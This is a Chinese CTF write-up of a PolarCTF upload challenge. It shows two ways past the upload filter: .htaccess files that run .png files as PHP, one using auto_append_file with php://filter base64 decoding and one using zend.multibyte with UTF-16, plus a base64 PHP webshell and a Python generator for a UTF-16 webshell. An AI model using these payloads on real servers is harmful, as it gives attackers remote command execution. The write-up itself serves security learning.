【PolarCTF】 上传

方法一

上传.htaccess

在请求头中发现是Apache,那么可以尝试上传.htacces绕过

复制代码
满足使用.htaccess的条件:
1、目标服务器必须运行 Apache HTTP Server,或者使用了兼容 .htaccess 语法的服务器
2、Apache 的主配置文件(httpd.conf 或 apache2.conf)中,针对上传目录所在的配置块,AllowOverride 指令必须设置为 All,或者至少包含 FileInfo、Limit 等允许修改文件处理行为的选项
3、网站的文件上传功能没有对文件名进行严格的白名单校验,允许上传以 . 开头的文件
4、文件上传所在的目录在服务器配置中允许执行脚本代码
5、 攻击者需要知道 .htaccess 文件被上传到了哪个具体的 URL 路径。.htaccess 的作用范围通常是当前目录及其子目录。攻击者必须将 .htaccess 上传到与恶意脚本(如图片马)相同的目录,或者其父目录,才能对该脚本生效。

在上传.htaccess的时候出现下面的提示

通过\来绕过关键字过滤

.htaccess配合PHP的流过滤器进行base64解码,绕过webshell的关键字过滤

那么通过反斜杠来进行绕过,反斜杠 \ 在行尾表示"续行",下一行会直接拼接到当前行末尾,反斜杠和换行符被忽略

复制代码
AddType application/x-httpd-php png
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=5.png"

.htaccess的内容大致就是将png也作为php文件进行解析,同时每当该目录下任意 PHP 文件执行完毕后,PHP 引擎会自动读取 5.png,通过流过滤器对其进行 base64 解码,并将解码结果当作 PHP 代码直接执行。

发现可以正常上传

Base64对webshell进行编码

这里我们使用base64编码对webshell进行编码,写入到5.png文件中并上传

复制代码
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

得到flag

该方法的攻击链如下

复制代码
┌─────────────────────────────────────────┐
│ Step 0: 攻击者发起请求                  │
│ URL: /upload/5.php?cmd=whoami          │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 1: Apache 接收请求                 │
│ • 识别文件: 5.php                       │
│ • 识别后缀: .php → 交给 PHP 引擎处理    │
│ • 读取 .htaccess 配置(当前目录)       │
│ • 加载 auto_append_file 配置            │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 2: 执行主脚本 5.php                │
│ • 如果 5.php 存在 → 执行其中代码         │
│ • 如果 5.php 不存在 → 返回 404           │
│                                          │
│ ⚠️ 关键:无论 5.php 执行结果如何        │
│ auto_append_file 都会在之后触发!       │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 3: auto_append_file 触发 ⭐        │
│ • 主脚本执行完毕                        │
│ • PHP 处理 auto_append_file 配置项      │
│ • 解析值: "php://filter/.../resource=5.png"│
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 4: php://filter 流处理 ⭐          │
│ • 打开 5.png 文件,读取原始内容          │
│ • 内容: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ │
│ • 传入过滤器: convert.base64-decode    │
│ • 过滤器输出: <?php system($_GET['cmd']); ?> │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 5: 执行解码后的 PHP 代码 ⭐        │
│ • PHP 引擎解析: <?php system(...); ?>  │
│ • 执行: system($_GET['cmd'])           │
│ • $_GET['cmd'] = 'whoami'              │
│ • 系统执行: whoami 命令                │
│ • 返回结果: www-data / uid=33...       │
└─────────────────────────────────────────┘
                      ↓
┌─────────────────────────────────────────┐
│ Step 6: 响应返回给攻击者                │
│ • 浏览器/攻击工具收到命令执行结果       │
│ • 攻击者获得服务器控制权 ✅             │
└─────────────────────────────────────────┘

方法二

上传.htaccess

开启多字节编码支持

这里跟方法一同理,都是将.png文件作为php来运行

复制代码
#define width 1337
#define height 1337

AddType application/x-httpd-php .png

php_value zend.multibyte 1
php_value zend.detect_unicode 1
php_value display_errors 1

由于上传会对"file"关键字进行拦截,因此这个方法直接避开了file关键字,让服务器可以对多字节编码进行支持

这样.htaccess即可避免"file"关键字拦截,又可以让webshell里面的相关内容不被过滤拦截

这里采用的UTF-16的编码方式

将.htaccess上传

使用UTF-16对webshell进行编码绕过关键字过滤

对于webshell进行UTF-16编码,可以使用下面的脚本文件

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# UTF-16LE WebShell 生成器
payload = "<?php system($_GET['cmd']); ?>"

# 编码为 UTF-16LE(Little Endian,无 BOM)
utf16_payload = payload.encode('utf-16-le')

# 写入二进制文件
with open('shell.png', 'wb') as f:
    f.write(utf16_payload)

print(f"[+] UTF-16LE WebShell 已生成: shell.png")
print(f"[+] 原始长度: {len(payload)} 字节")
print(f"[+] 编码后长度: {len(utf16_payload)} 字节")
print(f"[+] 前20字节预览: {utf16_payload[:20].hex()}")

get shell

相关推荐
lisw0516 小时前
数字断点如何影响供应链——并危及全球经济?
网络安全·网络攻击模型·前沿领域
sbjdhjd20 小时前
云安全 | Docker 容器逃逸复盘(二):2375 未授权接口如何突破容器管理边界
网络安全·docker·云原生·数据挖掘·开源·云计算·云安全
HackTwoHub20 小时前
Clown SRC skill第二代2.x最新版企业安全研究 Skill|证据优先的 SRC 与白盒审计工作流正式更新
网络·安全·web安全·网络安全·系统安全·密码学·安全架构
白帽攻防录20 小时前
SRC 挖洞:Certighost AD CS 域控制器伪造深度复盘,CVE-2026-54121 一个普通域用户怎么拿走整个企业域
网络·安全·web安全·网络安全·域安全
lisw051 天前
数字韧性:企业如何应对数字断点?
网络安全·网络攻击模型·前沿领域
白帽攻防录1 天前
SRC 挖洞:Claude Code Action 供应链 RCE 深度复盘,CVE-2026-47751 一个 PR 怎么偷走你所有 CI/CD 密钥
网络安全·ci/cd·供应链安全
菩提小狗1 天前
每日安全情报报告 · 2026-10-06
网络安全·漏洞·cve·安全情报·每日安全
学逆向的1 天前
win32文件系统
网络安全·api·win32
Chengbei112 天前
拒绝无效洞!蚂蚁Src榜一Clown 2.0 SRC SKill 第二代带状态闭环的白盒 & 黑盒审计 Skill
网络·人工智能·安全·web安全·网络安全·自动化·安全架构
XLYcmy2 天前
PDF 论文处理器 — 优势与功能文档
大数据·python·网络安全·pdf·dify·rag·漏洞检测